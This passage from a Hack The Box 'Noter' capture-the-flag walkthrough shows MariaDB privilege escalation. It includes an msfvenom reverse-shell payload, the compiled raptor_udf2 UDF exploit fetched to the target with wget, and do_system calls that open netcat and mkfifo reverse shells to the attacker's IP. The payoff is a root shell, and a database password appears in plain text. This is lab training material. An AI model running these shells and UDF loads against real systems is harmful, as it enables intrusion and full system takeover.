| version_compile_os | debian-linux-gnu |
| version_malloc_library | system |
| version_source_revision | a2f147af35480e27bd599462db59b9b95f71acd9 |
| version_ssl_library | YaSSL 2.4.4 |
| wsrep_patch_version | wsrep_25.24 |
+-----------------------------------+------------------------------------------+
14 rows in set (0.001 sec)
MariaDB [app]>
Also mySQL took up a lot of my time and before I discovered the right exploit I went through a series of attempts that didn't bring me anything, but I'm reporting some for the record.
I started by analyzing the specific page of the release used, where at the end the possible CVE of the vulnerabilities are reported.
Here I find that the release was released on November 8th, 2021. I then go to the list of available CVEs and identify through a simple intersection, those that by type and time may be of interest to me.
Following a choice, I focus on CVE-2021-27928, for which I find three repositories on git. Among all I choose the one that seems clearer and more complete to me.
So I proceed. I prepare everything on my machine to be able to download it from the BOX.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.246 LPORT=4445 -f elf-so -o CVE-2021-27928.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: CVE-2021-27928.so
Unfortunately, when I try to carry out the attack I realize that some permissions on the database are missing.
wget http://10.10.14.246:8000/CVE-2021-27928.so
--2022-06-05 09:26:03-- http://10.10.14.246:8000/CVE-2021-27928.so
Connecting to 10.10.14.246:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 476 [application/octet-stream]
Saving to: ‘CVE-2021-27928.so’
CVE-2021-27928.so 100%[===================>] 476 --.-KB/s in 0s
2022-06-05 09:26:03 (2.35 MB/s) - ‘CVE-2021-27928.so’ saved [476/476]
$ ls -la
ls -la
total 12
drwxr-xr-x 2 svc svc 4096 Jun 5 09:26 .
drwxr-xr-x 9 svc svc 4096 Jun 5 09:24 ..
-rw-r--r-- 1 svc svc 476 Jun 5 09:26 CVE-2021-27928.so
$ mysql --user=root --password app
mysql --user=root --password app
Enter password: Nildogg36
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 49
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [app]> SET GLOBAL wsrep_provider="/home/svc/ttt/CVE-2021-27928.so";
SET GLOBAL wsrep_provider="/home/svc/ttt/CVE-2021-27928.so";
ERROR 1238 (HY000): Variable 'wsrep_provider' is a read only variable
MariaDB [app]>
After a lot of work on the database, I retrace my steps to change another file previously used for the first exploit (I'm not very confident, normally in the CTF the steps are quite distinct, but I may now have some permissions with this user that I didn't have before ). The file in question is the one that converts user notes during export, from text to pdf file: misc/md-to-pdf.js.
const { mdToPdf } = require('md-to-pdf');
(async () => {
await mdToPdf({ content: process.argv[2] }, { dest: './misc/attachments/' + process.argv[3] + '.pdf'});
})();
There doesn't seem to be anything particularly evident, I don't find any further exploits besides, so I go back to mysql again and keep looking. Once again, the solution arises when I expand the search, not to the specific version of mySQL, but to approach a more generic search: "privilege escalation MySQL".
Much like the exploit found earlier, but more generic, I immediately attempt to implement it. So, move on the exploit-db card and download it.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ wget https://www.exploit-db.com/download/1518
--2022-06-07 21:55:51-- https://www.exploit-db.com/download/1518
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3378 (3.3K) [application/txt]
Saving to: ‘1518’
1518 100%[==============================================>] 3.30K --.-KB/s in 0.001s
2022-06-07 21:55:51 (2.77 MB/s) - ‘1518’ saved [3378/3378]
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ mv 1518 raptor_udf2.c
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ gcc -g -c raptor_udf2.c
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ ls -la
total 56
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Jun 7 21:58 .
drwxr-xr-x 10 in7rud3r in7rud3r 4096 Jun 5 11:02 ..
-rw-r--r-- 1 in7rud3r in7rud3r 9381 Jun 5 11:57 40360
-rw-r--r-- 1 in7rud3r in7rud3r 476 Jun 5 11:04 CVE-2021-27928.so
-rw-r--r-- 1 in7rud3r in7rud3r 3378 Jun 7 21:55 raptor_udf2.c
-rw-r--r-- 1 in7rud3r in7rud3r 5128 Jun 7 21:57 raptor_udf2.o
-rwxr-xr-x 1 in7rud3r in7rud3r 17312 Jun 7 21:58 raptor_udf2.so
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ cp raptor_udf2.so ../exprem
As before we will have to download the exploit from our machine.
$ wget http://10.10.14.246:8000/raptor_udf2.so
wget http://10.10.14.246:8000/raptor_udf2.so
--2022-06-07 20:03:32-- http://10.10.14.246:8000/raptor_udf2.so
Connecting to 10.10.14.246:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17312 (17K) [application/octet-stream]
Saving to: ‘raptor_udf2.so’
raptor_udf2.so 100%[===================>] 16.91K --.-KB/s in 0.05s
2022-06-07 20:03:32 (363 KB/s) - ‘raptor_udf2.so’ saved [17312/17312]
And now straight to the goal, the steps to be performed on mySQL are enough.
$ mysql -u root -p
mysql -u root -p
Enter password: Nildogg36
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 267
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.010 sec)
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
df2.so'; from foo into dumpfile '/usr/lib/mysql/plugin/raptor_u
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/raptor_udf2.so' (Errcode: 2 "No such file or directory")
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
adb19/plugin/raptor_udf2.so';le '/usr/lib/x86_64-linux-gnu/mari
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
o';ate function do_system returns integer soname 'raptor_udf2.s
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.001 sec)
MariaDB [mysql]> select do_system('id > /var/www/output; chown www-data www-data /var/www/output');
/var/www/output'); > /var/www/output; chown www-data www-data
+-----------------------------------------------------------------------------+
| do_system('id > /var/www/output; chown www-data www-data /var/www/output') |
+-----------------------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------------------+
1 row in set (0.004 sec)
MariaDB [mysql]> select do_system('nc 10.10.14.246 4445 -e /bin/bash');
select do_system('nc 10.10.14.246 4445 -e /bin/bash');
ERROR 1305 (42000): FUNCTION mysql.do_system does not exist
MariaDB [mysql]> exit
exit
Bye
$ cat /var/www/output
cat /var/www/output
cat: /var/www/output: No such file or directory
Apparently, the first attempt does not give me good results, but I may have exceeded with the times and some scripts passed just as I finished my actions. Let's try again.
MariaDB [mysql]> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.008 sec)
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
adb19/plugin/raptor_udf2.so';le '/usr/lib/x86_64-linux-gnu/mari
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
o';ate function do_system returns integer soname 'raptor_udf2.s
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system('nc 10.10.14.246 4445 -e /bin/bash');
select do_system('nc 10.10.14.246 4445 -e /bin/bash');
+------------------------------------------------+
| do_system('nc 10.10.14.246 4445 -e /bin/bash') |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.003 sec)
Nothing yet, but I have to be sure the exploit works; let's try something simpler, like a curl on my machine.
select do_system('curl http://10.10.14.246:8000/');
The script works, so I probably chose the wrong reverse shell. Trying a few different ones, I can finally find the right one.
select do_system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.246 4445 >/tmp/f');
And in the blink of an eye, the root flag is mine too.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ nc -lvp 4445
listening on [any] 4445 ...
connect to [10.10.14.246] from noter.htb [10.10.11.160] 39474
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
2******************************5
#
After a lot of work, we have earned a well-deserved rest. That's all folks, as always, happy hacking!